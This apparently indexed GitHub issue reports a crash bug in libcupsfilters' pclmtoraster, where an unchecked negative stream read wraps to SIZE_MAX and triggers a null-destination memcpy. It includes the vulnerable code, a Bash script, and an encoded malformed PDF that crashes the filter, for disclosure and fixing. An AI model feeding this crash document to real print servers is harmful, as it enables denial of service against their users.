OpenPrinting / OpenPrinting/libcupsfilters
pclmtoraster: stream error becomes a SIZE_MAX copy
Nobody has claimed this yet.
- Dominant language
- C
- Stars
- 17
- Forks
- 71
- Avg merge
- 2d 17h
- Merged PRs (30d)
- 13
Description
Summary
process_image() does not check whether an image stream opened successfully
and stores the signed result of pdfioStreamRead() in size_t. A malformed
PCLm-like PDF makes PDFio return -1; this becomes SIZE_MAX, the impossible
allocation fails, and the filter calls memcpy() with a null destination and
a SIZE_MAX length.
The result is a reliable document-triggered filter crash. Although the failing
operation is a copy, the demonstrated destination is null and the plain build
faults immediately. This is a denial of service, not a controlled heap-write
primitive.
Reproduction
Final upstream recheck on 2026-08-02: OpenPrinting/cups-filters 11d1a190530f85a361a1b3835f57d635256dff1a, libcupsfilters 905fd94fb22a9298bc8e2c845eb7e04f7055b686, and libppd fc41539f761286396a7df8aeeda762070192e37e.
Validated revisions:
- cups-filters:
11d1a190530f85a361a1b3835f57d635256dff1a - libcupsfilters:
905fd94fb22a9298bc8e2c845eb7e04f7055b686 - libppd:
522af8dd135f4dde66b1aac8b9d067808bbe122d
poc/document.pdf is a 517-byte malformed PCLm-like PDF with SHA-256
d33434d17cdf67d1e9f0a49427bf879a0532cc31fce41b2b88728c2a6a600173.
Its damaged cross-reference state makes PDFio rebuild the object graph and
then reject opening an already-open image object stream.
Run:
./reproduce.sh
The following commented Bash script constructs the exact PoC and control
inputs. Save it as make_poc.sh, then run bash make_poc.sh poc.
#!/usr/bin/env bash
set -euo pipefail
# PoC: pclmtoraster: stream error becomes a SIZE_MAX copy
# Finding ID: pclmtoraster-stream-error-size-wrap-null-copy
# Trigger: process_image() does not check whether an image stream opened
# successfully and stores the signed result of pdfioStreamRead() in size_t. A
# malformed PCLm-like PDF makes PDFio return -1; this becomes SIZE_MAX, the
# impossible allocation fails, and the filter calls memcpy() with a null
# destination and a SIZE_MAX length.
#
# Binary PDFs, Raster files, images, and PPDs are stored as gzip-compressed
# base64 so embedded NUL bytes and exact parser offsets survive copy/paste.
# Every reconstructed file is checked before the vulnerable program is run.
OUTPUT_DIR="${1:-poc}"
mkdir -p "$OUTPUT_DIR"
for tool in base64 gzip sha256sum; do
command -v "$tool" >/dev/null || {
printf 'missing required tool: %s\n' "$tool" >&2
exit 1
}
done
write_file() {
local name="$1"
local expected_sha256="$2"
local path="$OUTPUT_DIR/$name"
local actual_sha256
mkdir -p "$(dirname "$path")"
base64 --decode | gzip --decompress > "$path"
actual_sha256="$(sha256sum "$path")"
actual_sha256="${actual_sha256%% *}"
if [[ "$actual_sha256" != "$expected_sha256" ]]; then
printf 'SHA-256 mismatch for %s\n' "$path" >&2
return 1
fi
printf '%s %s bytes sha256=%s\n' \
"$path" "$(wc -c < "$path")" "$actual_sha256"
}
# Malformed or boundary document consumed by the real filter/API.
# Output: document.pdf (517 bytes)
write_file document.pdf d33434d17cdf67d1e9f0a49427bf879a0532cc31fce41b2b88728c2a6a600173 <<'POC_PAYLOAD_0'
H4sIAAAAAAACA6WR30rDMBTG7/MU52aXmqRtpoWxi234BxVLFRSGF1l71mWsyUgzmU+jj+HjmazV
CfXOEMLJl++c3wcZZLOLE36aEA4MzGJNRiOgj29bBDqVTm5MBTSTFTYQeUMO4zFBXQZj1GtoffRG
lQ3M42B/8VPMTjvgvxrjPxvDadFbWw69w1K9f5o9zJkXhjyCszTy83LjpENImS+xMTtbeGYY9Xy/
WGPhDvV1zSDp8rb7G5704Ko+0J9U6VY+J71CVa1CYh99Y+zDVhb+eYavqsD8cgJ0olyToZ2aemt0
SJwAvUVd+fY4kBpnUdbEewO0u3X4vcUlYSAI+1kwFCIWsISjlkL7oo+aOO9pnItW+9Aw+Mc3EvYF
6EaO6gUCAAA=
POC_PAYLOAD_0
Result
With allocator_may_return_null=1, UBSan reports a null pointer at
pclmtoraster.c:868 and ASan classifies the impossible copy ranges as
memcpy-param-overlap. Without that ASan option, allocation-size validation
terminates first. The unsanitized filter exits with SIGSEGV, status 139.
An isolated CUPS scheduler accepts the file as application/pclm, selects
pclmtoraster, and reports that the filter crashed on signal 11. The
scheduler remains alive and stops only the affected job; see
cupsd-pipeline.txt.
Cause and expected behavior
At lines 853-868, the code neither validates img_str nor preserves the
signed return type:
pdfio_stream_t *img_str = pdfioObjOpenStream(image, true);
size_t bufsize = pdfioStreamRead(img_str, buffer, sizeof(buffer));
...
data->bitmap = malloc(bufsize);
memcpy(data->bitmap + data->pixel_count, buffer, bufsize);
pdfioStreamRead() returns ssize_t and documents -1 on error. The filter
must reject a null stream and every negative read result, use checked addition
for bitmap growth, and test malloc()/realloc() before copying. This is
distinct from a successful but short image stream: validating only declared
image dimensions would not fix this error path.
Contributor guide
First steps
- Read the whole issue, then the project's contributing guide.
- Comment on the issue to say you are picking it up — it saves two people doing the same work.
- Fork the repository and make your change on a branch.
- Open a pull request that references the issue number.
Research direction
Start in pclmtoraster.c around process_image() lines 853-868 and run reproduce.sh with poc/document.pdf. Trace the pdfio stream open and read error paths, then verify that invalid streams, negative reads, bitmap-size overflow, and allocation failures are rejected before copying. Done means the malformed document no longer crashes the filter and the existing reproduction reaches a controlled failure.
Written by the indexing model from the issue text.
Assessment
- Tech stack
- c
- Domain
- security
- Issue type
- Bug
- Difficulty
- 4/5
- Estimated time
- 3-5 days
- Activity status
- Quiet
- Clarity
- Clearly specified
- Newbie friendliness
- 68/100